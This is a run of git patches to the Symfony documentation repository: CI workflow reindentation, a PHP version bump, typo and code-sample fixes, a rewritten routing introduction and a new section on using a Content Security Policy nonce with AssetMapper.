Subject: [PATCH 4702/5766] Fix indentation

---
 .github/workflows/ci.yaml | 121 +++++++++++++++++++-------------------
 1 file changed, 62 insertions(+), 59 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index a7a2db5f7a9..44aa8481fd5 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -79,65 +79,68 @@ jobs:
 
     symfony-code-block-checker:
         name: Code Blocks
+
         runs-on: ubuntu-latest
+
         continue-on-error: true
+
         steps:
-          - name: Checkout code
-            uses: actions/checkout@v3
-            with:
-                path: 'docs'
-
-          - name: Set-up PHP
-            uses: shivammathur/setup-php@v2
-            with:
-                php-version: 8.1
-                coverage: none
-
-          - name: Fetch branch from where the PR started
-            working-directory: docs
-            run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
-
-          - name: Find modified files
-            id: find-files
-            working-directory: docs
-            run: echo "files=$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')" >> $GITHUB_OUTPUT
-
-          - name: Get composer cache directory
-            id: composercache
-            working-directory: docs/_build
-            run: echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT
-
-          - name: Cache dependencies
-            if: ${{ steps.find-files.outputs.files }}
-            uses: actions/cache@v3
-            with:
-                path: ${{ steps.composercache.outputs.dir }}
-                key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}
-                restore-keys: ${{ runner.os }}-composer-codeBlocks-
-
-          - name: Install dependencies
-            if: ${{ steps.find-files.outputs.files }}
-            run: composer create-project symfony-tools/code-block-checker:@dev _checker
-
-          - name: Install test application
-            if: ${{ steps.find-files.outputs.files }}
-            run: |
-              git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app
-              cd _sf_app
-              composer update
-
-          - name: Generate baseline
-            if: ${{ steps.find-files.outputs.files }}
-            working-directory: docs
-            run: |
-              CURRENT=$(git rev-parse HEAD)
-              git checkout -m ${{ github.base_ref }}
-              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app`
-              git checkout -m $CURRENT
-              cat baseline.json
-
-          - name: Verify examples
-            if: ${{ steps.find-files.outputs.files }}
-            working-directory: docs
-            run: |
-              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`
+            -   name: Checkout code
+                uses: actions/checkout@v3
+                with:
+                    path: 'docs'
+
+            -   name: Set-up PHP
+                uses: shivammathur/setup-php@v2
+                with:
+                    php-version: 8.1
+                    coverage: none
+
+            -   name: Fetch branch from where the PR started
+                working-directory: docs
+                run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
+
+            -   name: Find modified files
+                id: find-files
+                working-directory: docs
+                run: echo "files=$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')" >> $GITHUB_OUTPUT
+
+            -   name: Get composer cache directory
+                id: composercache
+                working-directory: docs/_build
+                run: echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT
+
+            -   name: Cache dependencies
+                if: ${{ steps.find-files.outputs.files }}
+                uses: actions/cache@v3
+                with:
+                    path: ${{ steps.composercache.outputs.dir }}
+                    key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}
+                    restore-keys: ${{ runner.os }}-composer-codeBlocks-
+
+            -   name: Install dependencies
+                if: ${{ steps.find-files.outputs.files }}
+                run: composer create-project symfony-tools/code-block-checker:@dev _checker
+
+            -   name: Install test application
+                if: ${{ steps.find-files.outputs.files }}
+                run: |
+                    git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app
+                    cd _sf_app
+                    composer update
+
+            -   name: Generate baseline
+                if: ${{ steps.find-files.outputs.files }}
+                working-directory: docs
+                run: |
+                    CURRENT=$(git rev-parse HEAD)
+                    git checkout -m ${{ github.base_ref }}
+                    ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app`
+                    git checkout -m $CURRENT
+                    cat baseline.json
+
+            -   name: Verify examples
+                if: ${{ steps.find-files.outputs.files }}
+                working-directory: docs
+                run: |
+                    ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`

From 9fafa5fa863bed33d56113f904f6dca279e06f4c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 29 Apr 2024 12:19:06 +0200
Subject: [PATCH 4703/5766] Use PHP 8.2 for build

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 778d3fd5a2b..09158fd099a 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -26,7 +26,7 @@ jobs:
             -   name: "Set-up PHP"
                 uses: shivammathur/setup-php@v2
                 with:
-                    php-version: 8.1
+                    php-version: 8.2
                     coverage: none
                     tools: "composer:v2"
 

From 11cd34d903362e897626a0d80110dd50da3ba7d4 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 29 Apr 2024 12:21:09 +0200
Subject: [PATCH 4704/5766] -

---
 bundles/configuration.rst | 4 ----
 bundles/extension.rst     | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 48b91c1713a..882e828aeb6 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -61,10 +61,6 @@ There are two different ways of creating friendly configuration for a bundle:
 Using the AbstractBundle Class
 ------------------------------
 
-.. versionadded:: 6.1
-
-    The ``AbstractBundle`` class was introduced in Symfony 6.1.
-
 In bundles extending the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
 class, you can add all the logic related to processing the configuration in that class::
 
diff --git a/bundles/extension.rst b/bundles/extension.rst
index d2e3cd05b9d..e1e2dba3e6b 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -20,10 +20,6 @@ There are two different ways of doing it:
 Loading Services Directly in your Bundle Class
 ----------------------------------------------
 
-.. versionadded:: 6.1
-
-    The ``AbstractBundle`` class was introduced in Symfony 6.1.
-
 In bundles extending the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
 class, you can define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::loadExtension`
 method to load service definitions from configuration files::

From d7b56cd00b50d69db80c294e0ec8a6b0c87268f3 Mon Sep 17 00:00:00 2001
From: Damien Fernandes <damien.fernandes24@gmail.com>
Date: Mon, 29 Apr 2024 13:03:46 +0200
Subject: [PATCH 4705/5766] [Scheduler] Fix code sample

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 6a50a8e34ae..dd723c326c3 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -901,7 +901,7 @@ same task more than once::
                 ->with(
                     // ...
                 )
-                ->lock($this->lockFactory->createLock('my-lock')
+                ->lock($this->lockFactory->createLock('my-lock'));
         }
     }
 

From d3470566f1058b3a5fb20079de0848275b9cd41b Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 30 Apr 2024 08:59:11 +0200
Subject: [PATCH 4706/5766] rewrite the routing introduction

---
 quick_tour/the_big_picture.rst | 75 ++++++++++------------------------
 1 file changed, 22 insertions(+), 53 deletions(-)

diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index 34bea4f82cc..b069cb4f716 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -39,7 +39,7 @@ Symfony application:
     ├─ var/
     └─ vendor/
 
-Can we already load the project in a browser? Yes! You can setup
+Can we already load the project in a browser? Yes! You can set up
 :doc:`Nginx or Apache </setup/web_server_configuration>` and configure their
 document root to be the ``public/`` directory. But, for development, it's better
 to :doc:`install the Symfony local web server </setup/symfony_server>` and run
@@ -63,20 +63,6 @@ web app, or a microservice. Symfony starts small, but scales with you.
 
 But before we go too far, let's dig into the fundamentals by building our first page.
 
-Start in ``config/routes.yaml``: this is where *we* can define the URL to our new
-page. Uncomment the example that already lives in the file:
-
-.. code-block:: yaml
-
-    # config/routes.yaml
-    index:
-        path: /
-        controller: 'App\Controller\DefaultController::index'
-
-This is called a *route*: it defines the URL to your page (``/``) and the "controller":
-the *function* that will be called whenever anyone goes to this URL. That function
-doesn't exist yet, so let's create it!
-
 In ``src/Controller``, create a new ``DefaultController`` class and an ``index``
 method inside::
 
@@ -84,9 +70,11 @@ method inside::
     namespace App\Controller;
 
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class DefaultController
     {
+        #[Route('/', name: 'index')]
         public function index(): Response
         {
             return new Response('Hello!');
@@ -104,11 +92,21 @@ But the routing system is *much* more powerful. So let's make the route more int
 
 .. code-block:: diff
 
-      # config/routes.yaml
-      index:
-    -     path: /
-    +     path: /hello/{name}
-          controller: 'App\Controller\DefaultController::index'
+      // src/Controller/DefaultController.php
+      namespace App\Controller;
+
+      use Symfony\Component\HttpFoundation\Response;
+      use Symfony\Component\Routing\Attribute\Route;
+
+      class DefaultController
+      {
+    -     #[Route('/', name: 'index')]
+    +     #[Route('/hello/{name}', name: 'index')]
+          public function index(): Response
+          {
+              return new Response('Hello!');
+          }
+      }
 
 The URL to this page has changed: it is *now* ``/hello/*``: the ``{name}`` acts
 like a wildcard that matches anything. And it gets better! Update the controller too:
@@ -120,9 +118,11 @@ like a wildcard that matches anything. And it gets better! Update the controller
       namespace App\Controller;
 
       use Symfony\Component\HttpFoundation\Response;
+      use Symfony\Component\Routing\Attribute\Route;
 
       class DefaultController
       {
+          #[Route('/hello/{name}', name: 'index')]
     -     public function index()
     +     public function index(string $name): Response
           {
@@ -135,39 +135,8 @@ Try the page out by going to ``http://localhost:8000/hello/Symfony``. You should
 see: Hello Symfony! The value of the ``{name}`` in the URL is available as a ``$name``
 argument in your controller.
 
-But this can be even simpler! Comment-out the YAML route by adding the
-``#`` character:
-
-.. code-block:: yaml
-
-    # config/routes.yaml
-    # index:
-    #     path: /hello/{name}
-    #     controller: 'App\Controller\DefaultController::index'
-
-Instead, add the route *right above* the controller method:
-
-.. code-block:: diff
-
-      <?php
-      // src/Controller/DefaultController.php
-      namespace App\Controller;
-
-      use Symfony\Component\HttpFoundation\Response;
-    + use Symfony\Component\Routing\Attribute\Route;
-
-      class DefaultController
-      {
-    +      #[Route('/hello/{name}', methods: ['GET'])]
-           public function index(string $name): Response
-           {
-               // ...
-           }
-      }
-
-This works just like before! But by using attributes, the route and controller
-live right next to each other. Need another page? Add another route and method
-in ``DefaultController``::
+But by using attributes, the route and controller live right next to each
+other. Need another page? Add another route and method in ``DefaultController``::
 
     // src/Controller/DefaultController.php
     namespace App\Controller;

From 4b75213c66d04886a1df5a18e85c50845a18d6e0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 30 Apr 2024 17:35:32 +0200
Subject: [PATCH 4707/5766] [Security]: Redirect user to profile page

Page: https://symfony.com/doc/5.x/security/custom_authenticator.html

The homepage is public. After login, you should redirect the user to some *protected* page.
---
 security/custom_authenticator.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index e79d8a002a1..9614c3a4e55 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -163,7 +163,7 @@ can define what happens in these cases:
 ``onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response``
     If the user is authenticated, this method is called with the
     authenticated ``$token``. This method can return a response (e.g.
-    redirect the user to the homepage).
+    redirect the user to their profile page).
 
     If ``null`` is returned, the request continues like normal (i.e. the
     controller matching the login route is called). This is useful for API

From 1b271673ceca6c3813d0930f836f8b42e0efa5dc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 May 2024 08:43:41 +0200
Subject: [PATCH 4708/5766] [Scheduler] Fix code sample

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 5257a37d422..8c9aaa48b1c 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -934,7 +934,7 @@ same task more than once::
                 ->with(
                     // ...
                 )
-                ->lock($this->lockFactory->createLock('my-lock')
+                ->lock($this->lockFactory->createLock('my-lock'));
         }
     }
 

From a209c5709324cea384f54097333c289d77153571 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 2 May 2024 08:50:08 +0200
Subject: [PATCH 4709/5766] rename the model_type option to input

---
 reference/forms/types/money.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 8e2130a5909..5793097fe2f 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -76,8 +76,8 @@ If set to ``true``, the HTML input will be rendered as a native HTML5
 
     As HTML5 number format is normalized, it is incompatible with ``grouping`` option.
 
-model_type
-~~~~~~~~~~
+input
+~~~~~
 
 **type**: ``string`` **default**: ``float``
 
@@ -87,7 +87,7 @@ values stored in cents as integers) set this option to ``integer``.
 
 .. versionadded:: 7.1
 
-    The ``model_type`` option was introduced in Symfony 7.1.
+    The ``input`` option was introduced in Symfony 7.1.
 
 scale
 ~~~~~

From 7cf7c66a2693c4007f84af7755270d0ce33497b0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?F=C3=A9lix=20Fouillet?=
 <35224226+ffouillet@users.noreply.github.com>
Date: Thu, 2 May 2024 09:08:03 +0200
Subject: [PATCH 4710/5766] Fix typo in bundles/extension.rst

---
 bundles/extension.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/extension.rst b/bundles/extension.rst
index d2e3cd05b9d..6b87572a6de 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -75,7 +75,7 @@ This is the traditional way of loading service definitions in bundles. For new
 bundles it's recommended to :ref:`load your services in the main bundle class <bundle-load-services-bundle-class>`,
 but the traditional way of creating an extension class still works.
 
-A depdendency injection extension is defined as a class that follows these
+A dependency injection extension is defined as a class that follows these
 conventions (later you'll learn how to skip them if needed):
 
 * It has to live in the ``DependencyInjection`` namespace of the bundle;

From 90c5f4f9fabfa2fdca9a79e6c79fa70983e3922f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 2 May 2024 11:43:31 +0200
Subject: [PATCH 4711/5766] deprecate the base_template_class option

---
 reference/configuration/twig.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 1b9c1ef3bd9..596d70d8a2b 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -62,6 +62,10 @@ base_template_class
 
 **type**: ``string`` **default**: ``Twig\Template``
 
+.. deprecated:: 7.1
+
+    The ``base_template_class`` option is deprecated since Symfony 7.1.
+
 Twig templates are compiled into PHP classes before using them to render
 contents. This option defines the base class from which all the template classes
 extend. Using a custom base template is discouraged because it will make your

From 6782a79f122144291f675d460d159d3ef7df6c50 Mon Sep 17 00:00:00 2001
From: Ali Yousefi <aliyousefi.tec@gmail.com>
Date: Thu, 2 May 2024 19:03:12 +0330
Subject: [PATCH 4712/5766] Update controller.rst

In use statement use wrong case, then this error happens 'Case mismatch between loaded and declared class names: "App\Model\UserDto" vs "App\Model\UserDTO". ',

https://stackoverflow.com/questions/78352633/controller-returning-500-could-not-denormalize-object-of-type/78420166
---
 controller.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/controller.rst b/controller.rst
index 436326aa700..1a46200ebdf 100644
--- a/controller.rst
+++ b/controller.rst
@@ -419,7 +419,7 @@ optional validation constraints::
 You can then use the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString`
 attribute in your controller::
 
-    use App\Model\UserDto;
+    use App\Model\UserDTO;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Attribute\MapQueryString;
 
@@ -454,7 +454,7 @@ The default status code returned if the validation fails is 404.
 If you need a valid DTO even when the request query string is empty, set a
 default value for your controller arguments::
 
-    use App\Model\UserDto;
+    use App\Model\UserDTO;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Attribute\MapQueryString;
 
@@ -497,7 +497,7 @@ In this case, it is also possible to directly map this payload to your DTO by
 using the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapRequestPayload`
 attribute::
 
-    use App\Model\UserDto;
+    use App\Model\UserDTO;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Attribute\MapRequestPayload;
 

From 778ffdf3f0815c5f98a42e745c079f13646ab452 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sun, 5 May 2024 23:54:24 +0200
Subject: [PATCH 4713/5766] [Bundle] Fix Bundle configuration root key

It should be acme_social instead of acme.social
---
 bundles/configuration.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 48b91c1713a..4efba904b0e 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -98,7 +98,7 @@ class, you can add all the logic related to processing the configuration in that
             // use it directly to configure the service container (when defining an
             // extension class, you also have to do this merging and processing)
             $containerConfigurator->services()
-                ->get('acme.social.twitter_client')
+                ->get('acme_social.twitter_client')
                 ->arg(0, $config['twitter']['client_id'])
                 ->arg(1, $config['twitter']['client_secret'])
             ;
@@ -347,7 +347,7 @@ For example, imagine your bundle has the following example config:
             https://symfony.com/schema/dic/services/services-1.0.xsd"
     >
         <services>
-            <service id="acme.social.twitter_client" class="Acme\SocialBundle\TwitterClient">
+            <service id="acme_social.twitter_client" class="Acme\SocialBundle\TwitterClient">
                 <argument></argument> <!-- will be filled in with client_id dynamically -->
                 <argument></argument> <!-- will be filled in with client_secret dynamically -->
             </service>
@@ -370,7 +370,7 @@ In your extension, you can load this and dynamically set its arguments::
         $configuration = new Configuration();
         $config = $this->processConfiguration($configuration, $configs);
 
-        $definition = $container->getDefinition('acme.social.twitter_client');
+        $definition = $container->getDefinition('acme_social.twitter_client');
         $definition->replaceArgument(0, $config['twitter']['client_id']);
         $definition->replaceArgument(1, $config['twitter']['client_secret']);
     }

From 1d9a171a4950b18db9f76fba2f0db5913c908d60 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Anderson=20M=C3=BCller?= <anderson.a.muller@gmail.com>
Date: Fri, 3 May 2024 20:52:01 +0200
Subject: [PATCH 4714/5766] Fix group handler name

---
 logging/monolog_email.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index 3302707bea3..350a5646a31 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -292,7 +292,7 @@ get logged on the server as well as the emails being sent:
                 ->handler('grouped')
             ;
 
-            $monolog->handler('group')
+            $monolog->handler('grouped')
                 ->type('group')
                 ->members(['streamed', 'deduplicated'])
             ;
@@ -322,7 +322,7 @@ get logged on the server as well as the emails being sent:
             ;
         };
 
-This uses the ``group`` handler to send the messages to the two
+This uses the ``grouped`` handler to send the messages to the two
 group members, the ``deduplicated`` and the ``stream`` handlers. The messages will
 now be both written to the log file and emailed.
 

From 880c507233780b22371e5502b3726d04cb2caf6f Mon Sep 17 00:00:00 2001
From: Zahir Saad Bouzid <zahirnet@gmail.com>
Date: Thu, 2 May 2024 11:28:33 +0200
Subject: [PATCH 4715/5766] [Cache] Small correction in the use of tags in the
 cache

Replacement of the word key by tag in the description of the use of tags in the cache
---
 cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/cache.rst b/cache.rst
index 5dd560a94cc..d5a7082b748 100644
--- a/cache.rst
+++ b/cache.rst
@@ -572,7 +572,7 @@ Using Cache Tags
 In applications with many cache keys it could be useful to organize the data stored
 to be able to invalidate the cache more efficiently. One way to achieve that is to
 use cache tags. One or more tags could be added to the cache item. All items with
-the same key could be invalidated with one function call::
+the same tag could be invalidated with one function call::
 
     use Symfony\Contracts\Cache\ItemInterface;
     use Symfony\Contracts\Cache\TagAwareCacheInterface;

From dfc8acc913d1bc3481d6ce9d63892b7910d998ac Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Mon, 6 May 2024 18:58:42 +0200
Subject: [PATCH 4716/5766] [Reference] Replace param converter with value
 resolver

---
 reference/events.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/events.rst b/reference/events.rst
index 92f917f9115..411e5e327f5 100644
--- a/reference/events.rst
+++ b/reference/events.rst
@@ -56,7 +56,7 @@ their priorities:
 
 This event is dispatched after the controller has been resolved but before executing
 it. It's useful to initialize things later needed by the
-controller, such as `param converters`_, and even to change the controller
+controller, such as `value resolvers`_, and even to change the controller
 entirely::
 
     use Symfony\Component\HttpKernel\Event\ControllerEvent;
@@ -297,4 +297,4 @@ their priorities:
 
     $ php bin/console debug:event-dispatcher kernel.exception
 
-.. _`param converters`: https://symfony.com/doc/master/bundles/SensioFrameworkExtraBundle/annotations/converters.html
+.. _`value resolvers`: https://symfony.com/doc/current/controller/value_resolver.html#managing-value-resolvers

From dabb2d9f6976a2e475279d6caf24a3330649fc8e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 May 2024 11:15:03 +0200
Subject: [PATCH 4717/5766] [Validator] Misc tweaks in MacAddress and Charset
 constraints

---
 reference/constraints/Charset.rst    |  4 ++--
 reference/constraints/MacAddress.rst | 14 +++++++-------
 2 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/reference/constraints/Charset.rst b/reference/constraints/Charset.rst
index 4f1a260356f..084f24cdf76 100644
--- a/reference/constraints/Charset.rst
+++ b/reference/constraints/Charset.rst
@@ -88,8 +88,8 @@ Options
 
 An encoding or a set of encodings to check against. If you pass an array of
 encodings, the validator will check if the value is encoded in *any* of the
-encodings. This option accepts any value that can be passed to
-:phpfunction:`mb_detect_encoding`.
+encodings. This option accepts any value that can be passed to the
+:phpfunction:`mb_detect_encoding` PHP function.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst
index 2958af49874..59adffe7c11 100644
--- a/reference/constraints/MacAddress.rst
+++ b/reference/constraints/MacAddress.rst
@@ -19,18 +19,18 @@ Basic Usage
 -----------
 
 To use the MacAddress validator, apply it to a property on an object that
-will contain a host name.
+can contain a MAC address:
 
 .. configuration-block::
 
     .. code-block:: php-attributes
 
-        // src/Entity/Author.php
+        // src/Entity/Device.php
         namespace App\Entity;
 
         use Symfony\Component\Validator\Constraints as Assert;
 
-        class Author
+        class Device
         {
             #[Assert\MacAddress]
             protected string $mac;
@@ -39,7 +39,7 @@ will contain a host name.
     .. code-block:: yaml
 
         # config/validator/validation.yaml
-        App\Entity\Author:
+        App\Entity\Device:
             properties:
                 mac:
                     - MacAddress: ~
@@ -52,7 +52,7 @@ will contain a host name.
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
-            <class name="App\Entity\Author">
+            <class name="App\Entity\Device">
                 <property name="max">
                     <constraint name="MacAddress"/>
                 </property>
@@ -61,13 +61,13 @@ will contain a host name.
 
     .. code-block:: php
 
-        // src/Entity/Author.php
+        // src/Entity/Device.php
         namespace App\Entity;
 
         use Symfony\Component\Validator\Constraints as Assert;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
-        class Author
+        class Device
         {
             // ...
 

From 979891b65830f123e846534119aab8e559b48d74 Mon Sep 17 00:00:00 2001
From: rahul <rcsofttech85@gmail.com>
Date: Tue, 7 May 2024 14:46:30 +0530
Subject: [PATCH 4718/5766] Removed unnecessary Request parameter

---
 security/csrf.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index 76aaf9ea4bf..a758c856f16 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -176,7 +176,7 @@ attribute on the controller action::
     // ...
 
     #[IsCsrfTokenValid('delete-item', tokenKey: 'token')]
-    public function delete(Request $request): Response
+    public function delete(): Response
     {
         // ... do something, like deleting an object
     }

From 19e4f28b3674cfc5ca4d88d4b845a523b9676737 Mon Sep 17 00:00:00 2001
From: Nic Wortel <nic@nicwortel.nl>
Date: Mon, 6 May 2024 20:30:11 +0200
Subject: [PATCH 4719/5766] [AssetMapper] Document how to make it work with a
 Content Security Policy

---
 frontend/asset_mapper.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index c4ec17337ef..dfc6a196430 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1061,6 +1061,27 @@ have *one* importmap, so ``importmap()`` must be called exactly once.
 If, for some reason, you want to execute *only* ``checkout.js``
 and *not* ``app.js``, pass only ``checkout`` to ``importmap()``.
 
+Using a Content Security Policy (CSP)
+-------------------------------------
+
+If you're using a `Content Security Policy`_ (CSP) to prevent cross-site
+scripting attacks, the inline ``<script>`` tags rendered by the ``importmap()``
+function will likely violate that policy and will not be executed by the browser.
+
+To allow these scripts to run without disabling the security provided by
+the CSP, you can generate a secure random string for every request (called
+a *nonce*) and include it in the CSP header and in a ``nonce`` attribute on
+the ``<script>`` tags.
+The ``importmap()`` function accepts an optional second argument that can be
+used to pass attributes to the rendered ``<script>`` tags.
+You can use the `NelmioSecurityBundle`_ to generate the nonce and include
+it in the CSP header, and then pass the same nonce to the Twig function:
+
+.. code-block:: twig
+
+    {# the csp_nonce() function is defined by the NelmioSecurityBundle #}
+    {{ importmap('app', {'nonce': csp_nonce('script')}) }}
+
 The AssetMapper Component Caching System in dev
 -----------------------------------------------
 
@@ -1143,3 +1164,5 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _`dist/css/bootstrap.min.css file`: https://www.jsdelivr.com/package/npm/bootstrap?tab=files&path=dist%2Fcss#tabRouteFiles
 .. _`dynamic import`: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import
 .. _`package.json configuration file`: https://docs.npmjs.com/creating-a-package-json-file
+.. _Content Security Policy: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
+.. _NelmioSecurityBundle: https://symfony.com/bundles/NelmioSecurityBundle/current/index.html#nonce-for-inline-script-handling

From 6afab454cb1450e0fbdb43abed020d299196e64f Mon Sep 17 00:00:00 2001
From: Asis Pattisahusiwa <79239132+asispts@users.noreply.github.com>
Date: Wed, 8 May 2024 09:45:00 +0100
Subject: [PATCH 4720/5766] Add missing asterisk

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 73194f94627..adbe8359743 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1745,7 +1745,7 @@ during a request::
 
             $this->assertSame(200, $client->getResponse()->getStatusCode());
 
-            /* @var InMemoryTransport $transport */
+            /** @var InMemoryTransport $transport */
             $transport = $this->getContainer()->get('messenger.transport.async_priority_normal');
             $this->assertCount(1, $transport->getSent());
         }

From 846cbae795919e74ec57ee9d1010cb3ff16d4041 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 May 2024 12:52:24 +0200
Subject: [PATCH 4721/5766] Tweaks and rewords

---
 controller.rst | 83 +++++++++++++++++++++++++++-----------------------
 1 file changed, 45 insertions(+), 38 deletions(-)

diff --git a/controller.rst b/controller.rst
index ee6c2ecd194..cec5ce4b904 100644
--- a/controller.rst
+++ b/controller.rst
@@ -589,84 +589,91 @@ using the ``type`` option of the attribute::
 
 .. _controller_map-uploaded-file:
 
-Mapping Uploaded File
-~~~~~~~~~~~~~~~~~~~~~
+Mapping Uploaded Files
+~~~~~~~~~~~~~~~~~~~~~~
 
-You can map ``UploadedFile``s to the controller arguments and optionally bind ``Constraints`` to them.
-The argument resolver fetches the ``UploadedFile`` based on the argument name.
-
-::
+Symfony provides an attribute called ``#[MapUploadedFile]`` to map one or more
+``UploadedFile`` objects to controller arguments::
 
     namespace App\Controller;
 
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\File\UploadedFile;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Attribute\MapUploadedFile;
     use Symfony\Component\Routing\Attribute\Route;
-    use Symfony\Component\Validator\Constraints as Assert;
 
-    #[Route('/user/picture', methods: ['PUT'])]
-    class ChangeUserPictureController
+    class UserController extends AbstractController
